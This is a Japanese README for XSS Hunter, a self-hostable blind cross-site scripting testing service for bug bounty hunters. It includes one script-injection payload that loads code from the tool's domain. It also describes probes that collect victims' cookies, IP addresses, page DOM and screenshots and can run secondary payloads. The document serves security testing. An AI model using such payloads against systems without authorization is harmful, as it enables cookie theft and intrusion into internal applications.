非推奨 - 新しいEXPRESS版をお試しください
詳細はこちら: https://github.com/mandatoryprogrammer/xsshunter-express
XSS Hunter ソースコード
これは https://xsshunter.com で動作しているソースコードのポータブル版です。セキュリティ専門家やバグバウンティハンターがより強力な方法でXSSをテストしたい場合に、任意のサーバーに簡単にインストールできるように設計されています。
このソフトウェアをセットアップしたくない場合、すぐにテストを始めたい場合は、https://xsshunter.com をご覧ください。
必要条件
- (できれば) Ubuntu を実行しているサーバー。
- XSSペイロード発火メールを送信するための Mailgun アカウント。
- ドメイン名。ペイロードサイズを小さく保つために、できれば短いものが良い。2文字のドメイン名を見つけるための良いウェブサイトはこちら: https://catechgory.com/。例えば私のドメインは xss.ht です。
- ワイルドカードSSL証明書。こちらは安価なもの。これは必須です。XSS Hunterはサブドメインに基づいてユーザーを識別し、すべてのサブドメインでSSLを有効にする必要があるためです。Let's Encryptはワイルドカード証明書をサポートしていないため、使用できません。CAのビジネスモデルを侮辱するのは控えますが、ワイルドカード証明書を発行するのは非常に簡単でコストもほとんどかからないので、最安のプロバイダーを選んでください(すべてのブラウザでサポートされている限り)。
セットアップ
XSS Hunterを自分のサーバーにセットアップする方法については、https://thehackerblog.com/xss-hunter-is-now-open-source-heres-how-to-set-it-up/ をご覧ください。
機能概要
サインアップすると、yoursubdomain.xss.ht のような特別な短いドメインを作成します。これはXSS脆弱性を識別し、ペイロードをホストします。その後、"><script src=//yoursubdomain.xss.ht></script> のようなインジェクション試行を使用して、このサブドメインをXSSテストに使用します。XSS Hunterは自動的にXSSプローブを提供し、それらが発火したときに結果の情報を収集します。
機能
- 管理されたXSSペイロード発火: XSS Hunterアカウントのコントロールパネルで全てのXSSペイロードを管理します。
- 強力なXSSプローブ: プローブが脆弱なページで発火するたびに以下の情報が収集されます:
- 脆弱なページのURI
- 実行元
- 被害者のIPアドレス
- ページのリファラー
- 被害者のユーザーエージェント
- すべての非HTTPオンリークッキー
- ページの完全なHTML DOM
- 影響を受けたページのフルスクリーンショット
- 責任のあるHTTPリクエスト(XSS Hunter互換ツールが使用されている場合)
- フルページスクリーンショット: XSS HunterプローブはHTML5 Canvas APIを利用して、XSSペイロードが発火した脆弱なページのフルスクリーンショットを生成します。この機能により、内部管理パネル、サポートデスク、ログシステム、その他の内部Webアプリを覗くことができます。これにより、クライアントやバグバウンティプログラムに対して脆弱性の全体的な影響を示す、より強力なレポートが可能になります。
- マークアップレポート生成: 各XSSペイロードレポートには、事前生成されたMarkdownレポートが付属しています。これらの生成されたレポートは、PhabricatorなどのMarkdown対応プラットフォームとも互換性があり、会社のチケットシステムでの簡単なバグ報告が可能です。
- XSSペイロード発火メールレポート: XSSペイロード発火時には詳細なメールレポートも送信され、適切なセキュリティ連絡先に簡単に転送して重要なバグを報告できます。
- 自動ペイロード生成: XSS HunterはWebアプリケーションセキュリティテストで使用するXSSペイロードを自動的に生成します。
- 相関インジェクション: XSS Hunterの最も強力な機能は、インジェクション試行とXSSペイロード発火を相関させる能力かもしれません。XSS Hunter互換テストツールを使用することで、特定のペイロードが発火した原因を即座に知ることができます(インジェクション試行から数週間後でも!)。
- ペイロードメールのオプションPGP暗号化: さらに paranoid? クライアントサイドPGP暗号化が利用可能で、XSS Hunterサービスに送信する前に被害者のブラウザ内で全てのインジェクションデータを暗号化します。
- ページグラブ: XSSペイロード発火時に、ペイロードが自動的に取得して保存する相対パスのリストを指定できます。これは、通常アクセスできない内部システム上の悪質な
crossdomain.xmlポリシーなどの他の脆弱性を見つけるのに役立ちます。
- 二次ペイロード読み込み: XSS Hunterが収集を完了した後に実行したい二次ペイロードがありますか? XSS Hunterは、収集が完了した後に実行する二次JavaScriptペイロードを指定するオプションを提供します。
- iOS Webアプリケーション: iOS Webアプリを介してXSSペイロード発火を表示することも可能です。
/app パスに移動し、ページをiPhoneのホーム画面にWebアプリとして保存するだけです。
注目すべきエクスプロイト
貢献したいですか?
すべてのコードは私によって作成されたものであり、(そのため)おそらくベストプラクティスではなく、最適化/クリーンアップが間違いなく必要です。プルリクエストは大歓迎です!